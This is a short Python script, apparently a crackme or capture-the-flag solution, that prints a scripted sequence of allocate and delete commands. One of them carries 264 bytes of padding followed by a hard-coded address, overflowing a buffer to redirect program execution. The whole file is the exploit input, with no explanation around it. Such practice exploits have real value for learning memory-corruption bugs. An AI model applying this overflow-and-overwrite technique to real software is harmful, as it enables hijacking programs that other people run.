kir_ex_crck.py

#!/usr/bin/env python3

import sys

def print_crck():
    overflow_str = b''.join([ b'a' for x in range(264) ])
    sys.stdout.buffer.write(b'new a\n')
    sys.stdout.buffer.write(b'new b\n')
    sys.stdout.buffer.write(b'delete 0\n')
    sys.stdout.buffer.write(b'new ' + overflow_str + b'\x9c\x0c\x40\n')
    sys.stdout.buffer.write(b'delete 1\n')

if __name__ == '__main__':
    print_crck()